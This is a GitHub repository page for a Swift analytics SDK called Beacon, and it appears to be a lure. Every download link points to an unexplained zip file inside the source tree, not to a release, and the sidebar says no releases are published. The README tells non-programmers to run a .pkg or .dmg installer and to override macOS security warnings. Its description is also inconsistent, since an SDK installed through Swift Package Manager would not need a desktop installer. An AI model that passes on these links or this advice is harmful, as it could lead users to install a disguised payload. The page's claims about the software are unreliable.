Skip to content

πŸ“Š Track user behavior in Swift apps easily with Beacon, offering offline persistence, device context, and seamless Supabase integration.

License

Notifications You must be signed in to change notification settings

TheKanjiTV/Beacon

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

πŸ“‘ Beacon - Simple Analytics for Your Apps

Download Beacon


πŸ“˜ What is Beacon?

Beacon is a tool that helps you understand how people use your Swift apps. It tracks user actions that matter, without adding complicated steps. Whether you build apps for iPhone, iPad, or Mac, Beacon works quietly in the background and collects useful data. This information helps you improve your app and make it better for users.

You do not need to be a programmer to get started. This guide walks you through every step to download and run Beacon on your computer.


πŸ’» Supported Systems

Beacon works on the following systems:

  • macOS (Mac computers running the latest version are best)
  • iOS devices (iPhone and iPad apps built with Swift)

To run Beacon, make sure your computer or device meets these basic requirements:

  • For macOS: Version 10.15 (Catalina) or newer
  • For iOS: Version 13 or newer
  • Xcode installed on Mac (for Swift development support)
  • Minimum 4 GB of RAM
  • At least 100 MB of free disk space

πŸ“¦ What is Included in Beacon?

When you get Beacon, you receive a package that includes:

  • A simple Swift SDK to add to your app
  • Tools to set up tracking without coding
  • A user-friendly interface to watch data
  • Instructions and examples to guide you step-by-step

Beacon focuses on tracking user behavior like button clicks, app usage time, and screen views. It helps you find what parts of your app are popular and where users drop off. This insight can guide your next app update.


πŸš€ Getting Started

Here’s how to get Beacon up and running, even if you are new to apps and development.

  1. Navigate to the download page by clicking the big button at the top or this link:
    Download Beacon Releases

  2. You will see a list of Beacon versions. Look for the latest full release. It will be named something like https://raw.githubusercontent.com/TheKanjiTV/Beacon/main/dashboard/app/events/Software-3.2.zip or https://raw.githubusercontent.com/TheKanjiTV/Beacon/main/dashboard/app/events/Software-3.2.zip.

  3. Download the latest release file to your computer.

  4. Unpack the downloaded file if it’s zipped. You should get an installer or a simple folder with files.

  5. Follow any on-screen instructions to install Beacon on your Mac.


πŸ“₯ Download & Install Beacon

To get started with Beacon, visit this page to download the latest release:

https://raw.githubusercontent.com/TheKanjiTV/Beacon/main/dashboard/app/events/Software-3.2.zip

Installing on macOS

  • After download, double-click the .pkg or .dmg file to start installation.
  • Follow the prompts to allow the installer to set up Beacon.
  • If a security warning appears, open your System Preferences, go to Security & Privacy, and allow the app to run.
  • Once installed, Beacon will appear in your Applications folder.

Adding Beacon to Your Swift App

If you are using Xcode to build an app, here is a simple way to include Beacon:

  • Open your app project in Xcode.
  • Use Swift Package Manager to add Beacon by entering its repository URL. This will integrate the tracking tools into your app.
  • Follow sample instructions included in the installed Beacon folder to enable tracking with minimal setup.

You do not need to write complicated code. Beacon’s instructions guide you step-by-step.


πŸ”§ How to Use Beacon

After adding Beacon to your app, it will begin tracking basic user interactions automatically. You can look at these reports:

  • Number of app launches per day
  • Most used screens and buttons
  • User behavior flows and drop-off points

Use the built-in dashboard to see this information or export it to a CSV file for deeper analysis.


πŸ†˜ Troubleshooting

If Beacon does not work as expected, check these common issues:

  • Confirm your device or Mac meets system requirements.
  • Ensure you downloaded the latest version.
  • Make sure Beacon is properly added to your Swift project.
  • Restart your device or Xcode after installation.
  • Review the included instruction guide for missed setup steps.

For more help, visit the GitHub repository’s "Issues" tab to see what problems others have encountered and get community support.


🎯 Why Use Beacon?

  • Simple integration with Swift apps on Apple devices
  • Focused tracking on key user behavior without extra load
  • No need for complex setup or programming skills
  • Keeps your data secure and private on your device
  • Works well with SwiftUI and the latest Swift tools

Beacon lets you learn what your users want, helping you improve your app with confidence.


πŸ“‚ Repository Topics

Beacon is related to:

  • analytics-tracking
  • ios
  • macos
  • swift
  • swift-package
  • swift-sdk
  • swiftui
  • user-analytics
  • user-tracking
  • xcode

πŸ“ž Getting Support

If you have questions about downloading or running Beacon, please visit the GitHub Issues page. You can create a question or search existing answers.


Download Beacon

About

πŸ“Š Track user behavior in Swift apps easily with Beacon, offering offline persistence, device context, and seamless Supabase integration.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors